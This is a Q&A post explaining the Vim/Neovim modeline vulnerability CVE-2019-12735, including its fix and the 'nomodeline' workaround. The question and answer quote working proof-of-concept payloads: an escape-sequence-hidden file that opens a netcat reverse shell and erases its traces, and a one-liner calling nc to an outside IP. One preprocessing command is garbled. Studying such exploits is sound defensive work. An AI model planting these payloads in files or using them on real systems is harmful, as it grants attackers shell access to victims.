Warning
This question includes code from the original description of the vulnerability and proof of concept file. It will in the worst case open a reverse shell that may grant privileges to other users and provide a shell interface to outside attackers. Do not execute this on unless (1) you know that your system is not accessible to third parties (firewall, no multi-user-systems) and (2) you know how to shut the shell down if it accidentally opens.
Explanation
A vim/neovim vulnerability was discovered recently (and has been patched now in vim 8.1.1467). Besides instructions for patching, a proof of concept was included as a text file with the content
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
The idea seems to be that while the text file will appear to onlu contain the string "Nothing here.", it will open a reverse shell /bin/sh
on port 9999 with netcat (nc
) when opened with unpatched vim/neovim versions.
It appears that this vulnerability has been there and remained undetected for quite a number of years. Patching, updating (not available on all systems yet) or disabling modelines will fix the problem. Of course, there are no guarantees that similar vulnerabilities might not continue to pop up in the future. This is why I think it useful to study this one.
Question
However, I have trouble understanding why the code works in the first place.
The string is a mix of
- special characters (the
\x[hex][hex]
codes) - shell commands (
nohup
,nc
) - vim commands (
silent
,call system()
,file
,redraw
,w
) - inconspicuous strings
Further, the part
# vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!
is the modeline bit that ensures the injected command is executed while
:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent!
appears to be the actual command with the nohup nc 127.0.0.1 9999 -e /bin/sh
starting the reverse shell).
However, if you open vim manually and just execute the command part
:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0
it will fail with an error
E15: Invalid expression: \'nohup (...)
E116: Invalid arguments for function system
I do not think I really understand (beyond what I explained here)
(1) what the command does and why it works,
(2) consequently, how likely it is that vulnerabilities like this one will resurface,
(3) and, if there are any other measures that can be taken to protect against these (besides obviously keeping the software up to date and perhaps disabling modelines (which would, however, be a major inconvenience))
Answer
The CVE
CVE-2019–12735 in Vim and NeoVim is a command execution vulnerability, which allows an attacker to run a local command by having the user edit a file crafted to expose this vulnerability in Vim.
The vulnerability existed because the :source!
command failed to check whether it was running inside a sandbox, in which case it should have simply aborted rather than continuing the operation.
The sandbox is typically used to evaluate dangerous options in the modeline, which is a line that can be included at the top or bottom of files to configure the Vim editor to set appropriate options when editing them. (It can be useful to set different tab size, whether to expand tabs to spaces, whether to load syntax highlighting and indenting for a specific language that doesn't match the file extension, etc.)
Some of the options that can be included in a modeline allow arbitrary expressions, so when Vim finds them in the modeline, it evaluates them in the sandbox, which blocks (or rather should block) and dangerous commands which would typically lead to vulnerabilities when allowed in a modeline.
The fix
The vulnerability was fixed in Vim 8.1.1365, by this commit, which ensures the :source!
command is disallowed when inside a sandbox.
Workaround
Since this vulnerability happens when processing commands from the modeline, disabling processing of the modeline by adding set nomodeline
to your .vimrc
will work around the issue. (With the side effect that modelines will stop working, at all. If you relied on them to set tab size or shift width, etc., that could be a considerable annoyance.)
The exploit
Perhaps let's start by looking at a simpler proof-of-concept, detailed in this article. Unfortunately, Medium messes up with the double quotes, but the command used in the proof-of-concept is:
:!nc -nv 172.31.242.143 4444 -e /bin/sh ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
We can even keep it simpler, and use a simple echo
command for the exploit part. Since all we need is to show that we're able to run arbitrary local commands, using echo
should be enough to demonstrate (and, if interested, you can confirm that you can successfully replace that with a reverse proxy using nc
or similar.)
:!echo "I am vulnerable" ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
(In fact, this is also similar to the one you linked here, which uses an uname -a
command as demonstration of running a local command.)
If you save this to a file, any file, about any extension, and open it with a Vim pre-fix, you'll see "I am vulnerable" printed before Vim starts.
Let's break this down now.
:!
will execute a shell command. It will interpret the rest of the whole line as a shell command.- [
echo "I am vulnerable" || ...
]: Let's address the||
part. It's actually a valid shell construct that will execute the second command if the first one fails (as in, returns non-zero.) For instance, if you usefalse || echo Failed
, it will print "Failed". On the other hand, the second command is not executed if the first one succeeds. Sotrue || echo Failed
will not echo "Failed" or anything else. In fact, the second command can be invalid and the shell will not complain about it, since it won't execute it. Sotrue || xyzinvalid abcinvalid whatever
should be fine. The only restriction is that quoting needs to be done correctly, because the shell will break the second command into words to check that it's valid, so if you have double quotes, you need to have an even number of them. " vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
This is what's happening with this second part! When this is executed by:!
as a shell command, this is considered as a second command. That's the only reasonfdt="
was added at the end, so the quotes match.vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Now this part is also interpreted as the modeline. It sets several options related to folding. The reason for that is that folding is one of the features that can have options set on the modeline that should be executed in the sandbox. It sets'foldenable'
, sets'foldmethod'
toexpr
, and'foldlevel'
to zero. All so that the fold expression will be evaluated. (It's also setting'foldtext'
to a double quote, but that's just to placate the shell which wants balanced quotes!)fde=assert_fails("source\!\ \%")
is actually where the exploit lies.'foldexpr'
is evaluated in a sandbox, but the exploit makes it so that thesource!
command will not check for that. Theassert_fails()
function is simply used in order to run an Ex command as part of an expression. And the command used, after unescaping, issource! %
, which sources the current file as a Vim script, and in turn executes the:!
command which ends up calling the external command in the shell.
The more contrived exploit
The other exploit is more complicated by the fact that it packs a bunch of ANSI escape sequences, so that looking at the file with cat
will hide the malicious code and only show a harmless message.
The file actually needs to be pre-processed so it actually works, in order to process the \x1b
sequences and turn them into an actual ESC character. In doing so, it will also turn \'
into a simple single quote, and \\
into a single backslash.
Save those contents to escaped-poc.txt
, then process it with:
$ echo -e $(poc.txt
This resulting poc.txt
is the one that should trigger the exploit code.
If you show it with cat
, it should simply show this:
$ cat poc.txt
Nothing here.
If you open it in a vulnerable Vim, it should trigger the external command (opening the reverse shell) and it should modify the file so that the exploit code is gone (covering its tracks.)
A lot of the Vim code handles covering its tracks. In particular, that S
right at the beginning (SNothing here.\x1b
) is replacing the whole line with "Nothing here.", then escaping insert mode and doing a :silent!
w
to write the file. Calling :file
makes Vim print information about the file, which is usually what it prints when you first open the file (so it mimics the output you see when you open a non-malicious file.)
Finally, instead of using a shell command after ||
to ignore the rest of the line, where the modeline is hidden, it uses the silent! # " vim: ...
part. This is possible because this time around the exploit is using the system()
function rather than the :!
command.
This actually runs the :#
command (synonymous of :number
), which prints the current line number. But it does it under :silent!
, so nothing gets printed. Finally, the "
after #
starts a Vimscript comment, which makes Vim ignore the rest of the line when reading the file as Vimscript.
The actual exploit happens again in the modeline, again using 'foldexpr'
with the help of assert_fails()
. This time though, the expression resets 'foldexpr'
the first time it's called, so that it doesn't try to respawn the command more than once and also so it leaves fewer traces behind.
The set of escape sequences used to hide the malicious code are worthy of a post of their own. In particular, the very first ones right at the start of the file are evaluated both as escape sequences (when using cat
on the file) as well as Vim normal mode commands, since that's where Vim begins when the file is read through :source!
.
Overall, a very interesting case study!
No comments:
Post a Comment